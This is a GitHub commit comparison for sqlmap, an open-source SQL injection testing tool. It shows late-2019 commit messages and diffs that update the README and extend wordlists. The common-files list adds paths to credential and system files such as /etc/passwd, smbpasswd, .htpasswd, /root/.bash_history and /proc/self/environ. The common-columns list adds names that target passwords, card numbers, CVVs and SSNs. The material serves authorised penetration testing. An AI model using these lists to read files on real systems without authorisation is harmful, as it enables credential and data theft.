Compare commits

...
201 Commits
Author SHA1 Message Date
Miroslav Stampar 4efd745b5c Copyright year bump 2020-01-01 13:25:15 +01:00
Miroslav Stampar 4833e40824 Version bump 2020-01-01 13:22:06 +01:00
Miroslav Stampar e0ecf8c804 Fixes #4056 2019-12-31 11:03:14 +01:00
Miroslav Stampar cf7022b0a0 Minor patch (empty input without newline) 2019-12-27 18:18:32 +01:00
Miroslav Stampar 4c5cb9e0d4 Subtle (sneaky) bug removed (related to #4051) - False or '' results with '' 2019-12-27 15:37:02 +01:00
Miroslav Stampar bcb9482724 Fixes #4048 2019-12-27 15:20:09 +01:00
Miroslav Stampar 70e6700eb7 Fixes #4053 2019-12-27 14:38:22 +01:00
Miroslav Stampar 884ee56730 Fixes #4050 2019-12-23 12:14:40 +01:00
Miroslav Stampar 9ca5dc798e Fixes #4047 2019-12-19 17:35:39 +01:00
Miroslav Stampar c96283a083 Minor patch 2019-12-18 12:29:07 +01:00
Miroslav Stampar b4f9bf3f21 I don't know how this went through 2019-12-18 11:30:13 +01:00
Miroslav Stampar d52d5f0ddc Fixes #4046 2019-12-18 11:04:01 +01:00
Miroslav Stampar d38acbe347 Fixing lost versioning 2019-12-18 10:19:03 +01:00
Miroslav Stampar 7dae324ed6 Trivial update 2019-12-15 16:33:03 +01:00
Ryan Young 24aadbd850 Support IPv6 literals ("[::1]:8080") in the proxy switch. (#4041) 2019-12-15 16:06:26 +01:00
tanaydin sirin 3145de15d8 Update common-columns.txt (#4039)
Some more common Turkish column names.
2019-12-13 17:29:12 +01:00
Miroslav Stampar 6e06df3d39 Minor bug fix 2019-12-12 14:10:02 +01:00
Miroslav Stampar f01610b397 Minor update 2019-12-12 11:51:26 +01:00
Miroslav Stampar a5ed4c5255 Minor update 2019-12-12 11:42:14 +01:00
Gabriel M. Dutra 9866e478b9 Change vocabulary for better understanding. (#4034) 2019-12-10 15:26:57 +01:00
Miroslav Stampar 251c8ba064 Minor update 2019-12-10 13:54:29 +01:00
Miroslav Stampar 1a95cea1f2 Trivial updates 2019-12-09 22:13:52 +01:00
Gabriel M. Dutra 38d5086b88 Added implicit verification (#4032) 2019-12-09 21:49:11 +01:00
Miroslav Stampar 7b5a640d1f Minor update 2019-12-09 11:35:22 +01:00
Miroslav Stampar e853508192 Update for #4030 2019-12-09 11:31:07 +01:00
Miroslav Stampar 5d32ca638b Minor update 2019-12-06 16:11:22 +01:00
Miroslav Stampar 0c8f6156d2 Trivial update 2019-12-06 16:03:51 +01:00
Miroslav Stampar 292bdf4479 Fixes #4028 2019-12-06 16:02:25 +01:00
Miroslav Stampar 82e6bc64c2 Fixes #4026 2019-12-06 15:20:09 +01:00
Miroslav Stampar ea0ec868e9 Fixes #4029 2019-12-06 15:15:39 +01:00
Miroslav Stampar 424d4ee968 Minor compatibility update 2019-12-05 22:45:57 +01:00
Miroslav Stampar f4bfa7a5ae Minor patch 2019-12-05 22:20:00 +01:00
Miroslav Stampar 568ee4669e Minor patch (gui) 2019-12-05 13:56:46 +01:00
Miroslav Stampar c3a6b71023 Fixes #4025 2019-12-05 13:50:16 +01:00
Miroslav Stampar f7a237fdee Adding basic functionality to a hidden feature 2019-12-03 23:30:28 +01:00
Miroslav Stampar 948903f232 Fixes #4024 2019-12-02 10:10:58 +01:00
Miroslav Stampar 20d875a8ce Fixes #4020 2019-11-30 23:10:40 +01:00
raimundmuc f947c5f76e Fix regression introduced by b3cdec5 (#4022) 2019-11-30 22:48:34 +01:00
Miroslav Stampar 1233573df1 Removing leftover 2019-11-30 11:25:38 +01:00
Miroslav Stampar 04ce6ba91b Minor patch 2019-11-30 11:14:41 +01:00
Miroslav Stampar c1f98d07c1 Couple of important patches 2019-11-30 04:42:38 +01:00
Miroslav Stampar fddc818764 New tests 2019-11-29 22:03:16 +01:00
Miroslav Stampar c028fb9003 Patch for websocket (with multiple recv requirement) 2019-11-28 13:53:47 +01:00
Miroslav Stampar 1bfb9efb91 Minor patch 2019-11-28 13:41:02 +01:00
Miroslav Stampar 7731c6c135 Minor patch 2019-11-28 00:29:42 +01:00
Miroslav Stampar 989915b91c Bug fix (type detection in SQLite --common-columns) 2019-11-28 00:02:08 +01:00
Miroslav Stampar 03728a4f20 Bug fix (--common-columns on SQLite) 2019-11-27 23:40:36 +01:00
Miroslav Stampar 47d2cf0c6c Some more tests 2019-11-27 23:26:39 +01:00
Miroslav Stampar ce65733043 Minor patch (problem reported via email) 2019-11-27 12:09:51 +01:00
Miroslav Stampar 6ab1cf8caa Minor cleanup 2019-11-26 16:22:23 +01:00
Miroslav Stampar 78a5573563 Just in case patch 2019-11-26 14:03:22 +01:00
Miroslav Stampar db2e74a810 Minor patch 2019-11-26 13:51:08 +01:00
Miroslav Stampar 04708c6d1a Minor improvement 2019-11-26 13:36:06 +01:00
Miroslav Stampar 6823971442 Minor patch 2019-11-26 13:18:21 +01:00
Miroslav Stampar adf713d18c Minor update 2019-11-25 23:47:29 +01:00
Miroslav Stampar d8e4eede6e Minor patch 2019-11-25 22:59:22 +01:00
Miroslav Stampar 862959f27a Minor check 2019-11-25 22:57:44 +01:00
Miroslav Stampar f1000e0d15 Minor update 2019-11-22 16:25:46 +01:00
Miroslav Stampar 72443ed875 Minor cleanup 2019-11-22 16:22:28 +01:00
Miroslav Stampar 4116ee5f78 Minor update 2019-11-22 16:21:17 +01:00
Miroslav Stampar 6e46624fe0 Fixes #4017 2019-11-22 15:20:45 +01:00
Miroslav Stampar 9c87671e3a Some more experimental updates 2019-11-22 14:39:44 +01:00
Miroslav Stampar d1bb69f917 Minor improvement 2019-11-21 17:26:18 +01:00
Miroslav Stampar 0a266f602c Minor improvement 2019-11-21 15:58:04 +01:00
Miroslav Stampar 9fc856b3a6 Minor update 2019-11-21 14:55:05 +01:00
Miroslav Stampar 737c727e56 Minor update 2019-11-21 13:58:46 +01:00
Miroslav Stampar 5013f767a1 Minor update 2019-11-21 11:41:46 +01:00
Miroslav Stampar b2a8cb8f77 Minor update 2019-11-21 11:36:13 +01:00
Miroslav Stampar 36938f8880 Minor update 2019-11-21 10:46:26 +01:00
Miroslav Stampar 99565f2cb3 Minor update 2019-11-20 17:28:25 +01:00
Miroslav Stampar e808496ed3 Testing something out 2019-11-20 16:46:24 +01:00
Miroslav Stampar 35073ce43b Dealing more with (new) warnings 2019-11-19 13:02:53 +01:00
Miroslav Stampar 7bbeb9e841 Dealing with Python3.8 RuntimeWarning 2019-11-19 12:56:56 +01:00
Miroslav Stampar a0dca74c12 Minor patch 2019-11-19 12:21:39 +01:00
Miroslav Stampar 1f3a5b4d70 Fixes #4016 2019-11-19 11:56:01 +01:00
Miroslav Stampar d87328f799 Patch for #4015 2019-11-18 16:17:17 +01:00
Miroslav Stampar dfb74ffa84 Minor update 2019-11-18 12:37:17 +01:00
Miroslav Stampar 5044894928 Minor update of vuln tests 2019-11-18 12:08:26 +01:00
Miroslav Stampar 0a0c696e84 Minor update 2019-11-18 11:57:06 +01:00
Miroslav Stampar 0977f6df61 Bug fix (disable HTML decoding in XSS checks) 2019-11-18 11:40:07 +01:00
Miroslav Stampar f550a2281f Minor patch (SQLite --tables) 2019-11-17 22:14:32 +01:00
Miroslav Stampar 8fb6268b51 Minor patch (vuln testing) 2019-11-17 22:08:18 +01:00
Miroslav Stampar 531eca7e65 Minor patch 2019-11-17 19:33:48 +01:00
Miroslav Stampar cd61a04e5a Minor expansion of vuln tests 2019-11-17 19:27:35 +01:00
Miroslav Stampar afb3cec133 Bug fix (--where in case of boolean-based blind) 2019-11-17 19:27:19 +01:00
Miroslav Stampar c817a7065e Minor update 2019-11-17 18:54:33 +01:00
Miroslav Stampar f9efc721a9 Minor patch 2019-11-17 18:31:53 +01:00
Miroslav Stampar e57e61eccb Minor patch (drei) 2019-11-17 16:27:16 +01:00
Miroslav Stampar 11adf893c3 Minor update 2019-11-17 16:04:22 +01:00
Miroslav Stampar fbde411228 Minor update 2019-11-17 00:52:04 +01:00
Miroslav Stampar 348795767c Minor improvement 2019-11-17 00:36:39 +01:00
Miroslav Stampar be340fcf11 Patch for -d (DREI) 2019-11-17 00:22:47 +01:00
Miroslav Stampar 6d07d52ccd Minor patch 2019-11-17 00:21:55 +01:00
Miroslav Stampar ac9c2f1210 Minor improvement 2019-11-17 00:21:33 +01:00
Miroslav Stampar 45a2d2a83f Bug fix (TLS/SNI sites misbehaved over --tor/--proxy) 2019-11-15 22:42:56 +01:00
Miroslav Stampar 52a70a087e Minor patch 2019-11-15 22:42:20 +01:00
Miroslav Stampar 87b5be0a5e Minor improvement 2019-11-15 22:27:33 +01:00
Miroslav Stampar 74d3a6d77d Minor patch 2019-11-15 16:36:21 +01:00
Miroslav Stampar 8296c1ed53 Trivial patch 2019-11-15 16:27:05 +01:00
Miroslav Stampar 6a23c5974f Minor update 2019-11-15 16:24:56 +01:00
Miroslav Stampar 2a85dafba8 Removing debug leftover 2019-11-15 16:07:03 +01:00
Miroslav Stampar 1162aa89fc Minor improvement 2019-11-15 16:06:19 +01:00
Miroslav Stampar 0d140b60f1 Fixes #4012 2019-11-15 10:02:51 +01:00
Miroslav Stampar 95c5c20de4 Quick patch for #4012 2019-11-15 09:50:00 +01:00
Miroslav Stampar e34b73b685 Minor update 2019-11-15 09:41:51 +01:00
Miroslav Stampar 7e28c02948 Minor improvements 2019-11-14 14:21:53 +01:00
Miroslav Stampar aa9ff9e8a6 Minor update 2019-11-14 12:51:09 +01:00
Miroslav Stampar 8d877de9b5 Minor update 2019-11-14 12:00:50 +01:00
Miroslav Stampar 2bb5ba7fa2 Bug fix (payload escaping in XML payloads) 2019-11-14 11:49:30 +01:00
Miroslav Stampar 8d608dfdfe Minor patch (too early test start) 2019-11-14 01:29:51 +01:00
Miroslav Stampar c4ebc23336 Minor update 2019-11-13 17:53:28 +01:00
Miroslav Stampar 55d79385cc Trying something out 2019-11-13 14:19:18 +01:00
Miroslav Stampar 7425d4acfb Trying something out 2019-11-13 14:09:51 +01:00
Miroslav Stampar 15f94bd671 Trivial update 2019-11-13 13:56:11 +01:00
Miroslav Stampar 7202bb010c Trying something out for #3802 2019-11-13 13:39:25 +01:00
Miroslav Stampar 77312a8a2e Fixes #4010 2019-11-13 11:29:42 +01:00
Miroslav Stampar 60c7fb3e03 Minor update 2019-11-13 11:17:32 +01:00
Miroslav Stampar e6edecb396 Trivial update 2019-11-13 11:07:46 +01:00
Miroslav Stampar e78e07d752 Fixes #4008 2019-11-13 10:55:02 +01:00
Miroslav Stampar 25541efa44 Minor update 2019-11-12 23:32:09 +01:00
Miroslav Stampar df8fa9cd82 Minor patch 2019-11-12 23:05:32 +01:00
Miroslav Stampar 7b89613c46 Minor improvement for --forms 2019-11-12 23:02:38 +01:00
Miroslav Stampar f382443ddd Minor patch for crawling 2019-11-12 22:51:11 +01:00
Miroslav Stampar e58d68c203 Minor improvement 2019-11-12 15:38:59 +01:00
Miroslav Stampar 541cebdce9 More curl-alike options 2019-11-11 14:18:50 +01:00
Miroslav Stampar d193b6e331 Trivial update 2019-11-11 14:09:02 +01:00
Miroslav Stampar a9b6a07641 Fixes #4006 2019-11-11 14:03:43 +01:00
Miroslav Stampar 39ca71619c Trivial patch 2019-11-11 12:43:45 +01:00
Miroslav Stampar 5f3b397882 Minor update 2019-11-11 12:24:42 +01:00
Miroslav Stampar eb696e17f4 Minor update 2019-11-11 11:20:12 +01:00
Miroslav Stampar 8cdc66fdf7 Bug fix (multiple Ctrl-C in crawling mode) 2019-11-09 01:01:19 +01:00
Miroslav Stampar 72fa5a9c85 Minor update 2019-11-09 00:54:47 +01:00
Miroslav Stampar 87f6db467d Minor patches 2019-11-08 23:45:30 +01:00
Miroslav Stampar 404d8481ad Couple of minor patches 2019-11-08 23:28:51 +01:00
Miroslav Stampar 9ad3cd5176 Fixes #4004 2019-11-08 22:39:55 +01:00
Miroslav Stampar 7eb7bddb25 Minor patch 2019-11-08 15:19:50 +01:00
Miroslav Stampar a90324d592 Minor patch 2019-11-08 15:05:41 +01:00
Miroslav Stampar 6b56715447 Minor update (tends to become ugly) 2019-11-07 17:18:35 +01:00
Miroslav Stampar 360d89cecc Critical bug patch for --crawl/--forms (introduced last week) 2019-11-07 16:23:52 +01:00
Miroslav Stampar abe31c1fbf Minor update 2019-11-07 16:04:32 +01:00
Miroslav Stampar 8ec0c7a691 Trivial update 2019-11-07 13:30:11 +01:00
Miroslav Stampar 145f87c50d Dirty patch for #4001 2019-11-07 13:28:19 +01:00
Miroslav Stampar dc87e10c99 Trivial message update 2019-11-07 00:03:06 +01:00
Miroslav Stampar 39a46d66e2 Skip custom header injection check in --forms/--crawl 2019-11-06 14:53:33 +01:00
Miroslav Stampar 1b1c37e12c Minor update 2019-11-06 14:45:48 +01:00
Miroslav Stampar adbc4bae5d Update of vuln tests 2019-11-06 12:54:18 +01:00
Miroslav Stampar e4a2ac8277 Update of vuln tests 2019-11-06 12:27:47 +01:00
Miroslav Stampar c2b929301e Update of vuln tests 2019-11-06 11:52:50 +01:00
Miroslav Stampar 732267876c Bug fix for SOAP/XML (proper origValue calculation) 2019-11-06 11:39:57 +01:00
Miroslav Stampar 7a1ecf797b Dealing with ugly BeautifulSoup old version warning 2019-11-06 11:26:32 +01:00
Miroslav Stampar fdcde2a2a5 In case of bulk file, crawl-scan-crawl-scan... 2019-11-04 23:53:35 +01:00
Miroslav Stampar 6679d6f427 Trivial update 2019-11-04 22:59:08 +01:00
Miroslav Stampar bb18c4db09 Removing -x as I doubt that anybody uses it 2019-11-04 22:43:28 +01:00
Miroslav Stampar ce9618c307 Implements #3993 2019-11-04 12:53:29 +01:00
Miroslav Stampar c91fcbb0c7 Minor update 2019-11-03 00:33:50 +01:00
Arjun V d43f15be38 Update Orcale System Databases in settings.py (#3996)
Adding the following system schemas to the list of Oracle System Schemas:

ADAMS, JONES, CLARK, BLAKE, DEMO, AURORA$ORB$UNAUTHENTICATED, AWR_STAGE, CSMIG, DSSYS, PERFSTAT, TRACESVR, TSMSYS

http://www.orafaq.com/wiki/List_of_default_database_users
2019-11-03 00:18:11 +01:00
Miroslav Stampar 85def6a662 Adding new option --results-file (thank you Hyundai) 2019-11-01 17:27:30 +01:00
Miroslav Stampar fdfcbb9161 Minor language update 2019-10-31 23:04:26 +01:00
Miroslav Stampar 096953991d Minor update 2019-10-31 22:47:36 +01:00
Miroslav Stampar a660828cec Implementation of crawling results normalization 2019-10-31 22:07:16 +01:00
Miroslav Stampar 273004396c Trivial language update 2019-10-31 21:40:28 +01:00
Miroslav Stampar 1a026e08dc Fixes special cases (e.g. cookie with asterisk skipped GET/POST tests) 2019-10-31 21:27:48 +01:00
Miroslav Stampar e21d4ae344 Minor update 2019-10-31 20:59:14 +01:00
Miroslav Stampar 3af15fee60 Trivial update 2019-10-31 20:49:38 +01:00
Miroslav Stampar 7a6e2df997 Patch for --forms/--crawl (if no protocol specified) 2019-10-31 20:40:37 +01:00
Miroslav Stampar 5c5719b81a Minor refactoring 2019-10-31 20:38:37 +01:00
Miroslav Stampar 7c9c6e4a59 Minor update (thank you Hyundai) 2019-10-31 16:57:15 +01:00
AnonProgrammer007 a422c9bc45 Update README.md (#3992) 2019-10-31 08:37:33 +01:00
Miroslav Stampar 4ede1b80a4 Minor update 2019-10-31 08:31:20 +01:00
Miroslav Stampar 869adc6fef Minor update 2019-10-29 15:07:29 +01:00
Miroslav Stampar a75ab8b128 Minor improvement of table dump formatting 2019-10-29 15:00:53 +01:00
Miroslav Stampar eec9cca85b Minor update 2019-10-29 13:52:11 +01:00
Miroslav Stampar 18d22faacd Fixes #3988 2019-10-28 12:31:17 +01:00
Miroslav Stampar a2ee93344e Adding Tarsier eyes (future logo) 2019-10-23 15:35:44 +02:00
Miroslav Stampar ab2cae3957 Implements #3971 2019-10-23 14:41:14 +02:00
Miroslav Stampar fd8028bb18 Fixes #3977 2019-10-22 14:43:29 +02:00
Miroslav Stampar 1d1da45782 Fixes #3978 2019-10-22 14:39:53 +02:00
Miroslav Stampar 8492509919 Minor update related to the #3976 2019-10-21 10:11:38 +02:00
Miroslav Stampar 9a624605b6 Falling back to web backdoor if UDF fails 2019-10-17 15:16:21 +02:00
Miroslav Stampar 1c3982c32d Update (inlining with other payload styles) 2019-10-17 13:56:41 +02:00
Miroslav Stampar 42480ba901 Update regarding #3928 2019-10-17 13:39:47 +02:00
Miroslav Stampar d02ee47157 Minor cosmetics 2019-10-17 11:53:53 +02:00
Miroslav Stampar 8340f8bcad Minor update 2019-10-17 10:53:12 +02:00
Miroslav Stampar 6bde50dbdc Patch for #3964 2019-10-15 16:08:58 +02:00
Miroslav Stampar 35893c49b8 Minor update of vuln-test 2019-10-15 12:29:39 +02:00
Miroslav Stampar 1a5ed610ce Bug fix (backslash escaping of JSON string values) 2019-10-15 01:05:34 +02:00
Miroslav Stampar 19925b806b Update regarding #3968 2019-10-14 10:42:10 +02:00
Miroslav Stampar 4b5927b734 Fixes #3967 2019-10-14 09:54:00 +02:00
Miroslav Stampar 1fa81fedf3 Patching like a boss (Issue #3962) 2019-10-10 16:23:26 +03:00
Miroslav Stampar 8407344991 Fixes #3961 2019-10-10 16:02:43 +03:00
Miroslav Stampar 17658619dc Fixes #3960 2019-10-10 15:40:56 +03:00
Miroslav Stampar 627d99089f Proper patch for #3955 2019-10-09 20:41:33 +03:00
Miroslav Stampar 9b42319d0e Proper message (Issue #3958) 2019-10-09 20:26:12 +03:00
Miroslav Stampar 63c2d2050d Fixes #3953 2019-10-09 20:06:47 +03:00
Miroslav Stampar aed137ad80 Fixes #3948 2019-10-07 14:20:18 +02:00
Miroslav Stampar 9fd4a4f0d1 Removing deprecated files (online versions available) 2019-10-04 14:15:05 +02:00
Miroslav Stampar 57511ac9df Trivial update 2019-10-04 14:12:15 +02:00
Miroslav Stampar 5f41d94602 Minor update 2019-10-04 13:51:12 +02:00
Miroslav Stampar c8a4e6378f Minor improvement for --forms 2019-10-03 15:09:59 +02:00
Miroslav Stampar 08d3228b5f Minor improvement of --forms (jquery) 2019-10-03 14:38:46 +02:00
Miroslav Stampar 5cc36b452e Minor improvement for crawling 2019-10-02 13:08:13 +02:00
309 changed files with 2414 additions and 901 deletions
+12 -6
View File
@@ -1,13 +1,19 @@
language: python
dist: trusty
jobs:
include:
- python: 2.6
dist: trusty
- python: 2.7
dist: trusty
- python: 3.3
dist: trusty
- python: 3.6
dist: trusty
- python: 3.8
dist: xenial
sudo: false
git:
depth: 1
python:
- "2.6"
- "2.7"
- "3.3"
- "3.6"
script:
- python -c "import sqlmap; import sqlmapapi"
- python sqlmap.py --smoke
+1 -1
View File
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
+5 -5
View File
@@ -1,17 +1,17 @@
# sqlmap
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
**The sqlmap project is currently searching for sponsor(s).**
Screenshots
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation
----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links
----
+49 -1
View File
@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
id
@@ -474,6 +474,7 @@ module_addr
flag
# spanish
usuario
nombre
contrasena
@@ -486,6 +487,7 @@ tono
cuna
# german
benutzername
benutzer
passwort
@@ -499,6 +501,7 @@ stichwort
schlusselwort
# french
utilisateur
usager
consommateur
@@ -510,6 +513,7 @@ touche
clef
# italian
utente
nome
utilizzatore
@@ -521,17 +525,33 @@ chiavetta
cifrario
# portuguese
usufrutuario
chave
cavilha
# slavic
korisnik
sifra
lozinka
kljuc
# turkish
isim
ad
adi
soyisim
soyad
soyadi
kimlik
kimlikno
tckimlikno
tckimlik
yonetici
sil
silinmis
numara
sira
lokasyon
@@ -547,7 +567,9 @@ ev_adres
is_adresi
ev_adresi
isadresi
isadres
evadresi
evadres
il
ilce
eposta
@@ -605,6 +627,7 @@ kontak
kontaklar
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
user
pass
cc_number
@@ -828,6 +851,7 @@ xar_name
xar_pass
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
account
accnts
accnt
@@ -897,6 +921,7 @@ user_pwd
user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
fld_id
fld_username
fld_password
@@ -1049,6 +1074,7 @@ yhmm
yonghu
# site:br
content_id
codigo
geometry
@@ -1305,6 +1331,7 @@ newssummaryauthor
and_xevento
# site:de
rolle_nr
standort_nr
ja
@@ -1467,6 +1494,7 @@ summary_id
gameid
# site:es
catid
dni
prune_id
@@ -1556,6 +1584,7 @@ time_stamp
bannerid
# site:fr
numero
id_auteur
titre
@@ -1607,6 +1636,7 @@ n_dir
age
# site:ru
dt_id
subdivision_id
sub_class_id
@@ -1812,6 +1842,7 @@ language_id
val
# site:jp
dealer_id
modify_date
regist_date
@@ -1943,6 +1974,7 @@ c_commu_topic_id
c_diary_comment_log_id
# site:it
idcomune
idruolo
idtrattamento
@@ -2446,6 +2478,7 @@ client_img
does_repeat
# site:cn
typeid
cronid
advid
@@ -2621,6 +2654,7 @@ disablepostctrl
fieldname
# site:id
ajar
akses
aktif
@@ -2672,9 +2706,23 @@ urut
waktu
# WebGoat
cookie
login_count
# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
credit
card
pin
cvv
pan
password
social
ssn
account
confidential
# Misc
u_pass
+153 -1
View File
@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
@@ -203,6 +203,31 @@
/var/www/nginx-default/index.php
/srv/www/index.php
/var/www/config.php
/usr/local/apache/config.php
/usr/local/apache2/config.php
/usr/local/www/apache22/config.php
/usr/local/www/apache24/config.php
/usr/local/httpd/config.php
/var/www/nginx-default/config.php
/srv/www/config.php
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
/srv/www/htdocs/index.php
/usr/local/apache2/htdocs/index.php
/usr/local/www/data/index.php
/var/apache2/htdocs/index.php
/var/www/htdocs/index.php
/var/www/html/index.php
/srv/www/htdocs/config.php
/usr/local/apache2/htdocs/config.php
/usr/local/www/data/config.php
/var/apache2/htdocs/config.php
/var/www/htdocs/config.php
/var/www/html/config.php
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
/etc/passwd
@@ -1650,3 +1675,130 @@
\web.config
\windows\system32\drivers\etc\hosts
\windows\win.ini
# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
/etc/apache2/.htpasswd
/etc/apache/.htpasswd
/etc/master.passwd
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/passwd
/etc/passwd
/etc/passwd~
/etc/passwd-
/etc/pureftpd.passwd
/etc/samba/private/smbpasswd
/etc/samba/smbpasswd
/etc/security/opasswd
/etc/security/passwd
/etc/smbpasswd
\Program Files\xampp\apache\conf\httpd.conf
/usr/local/pgsql/bin/pg_passwd
/usr/local/pgsql/data/passwd
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
/usr/ports/net/pure-ftpd/pureftpd.passwd
/var/log/exim_rejectlog/etc/passwd
/etc/mysql/conf.d/old_passwords.cnf
/etc/password.master
/var/www/.lighttpdpassword
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
/Volumes/webBackup/opt/apache2/conf/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
# Reference: https://pastebin.com/KgPsDXjg
/etc/passwd
/etc/crontab
/etc/hosts
/etc/my.cnf
/etc/.htpasswd
/root/.bash_history
/etc/named.conf
/proc/self/environ
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/usr/local/apache/conf/modsec.conf
/var/cpanel/cpanel.config
/proc/self/environ
/proc/self/fd/2
/etc/ssh/sshd_config
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf
/etc/vsftpd.chroot_list
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
/var/log/ftp-proxy
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts
/etc/smbpasswd
/etc/smb.conf
/etc/samba/smb.conf
/etc/samba/samba.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/var/lib/pgsql/data/postgresql.conf
/var/postgresql/db/postgresql.conf
/etc/ipfw.conf
/etc/firewall.rules
/etc/ipfw.rules
/usr/local/etc/webmin/miniserv.conf
/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/etc/webmin/miniserv.users
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config.php
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
+1 -1
View File
@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
[Banners]
+81 -1
View File
@@ -1,4 +1,4 @@
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
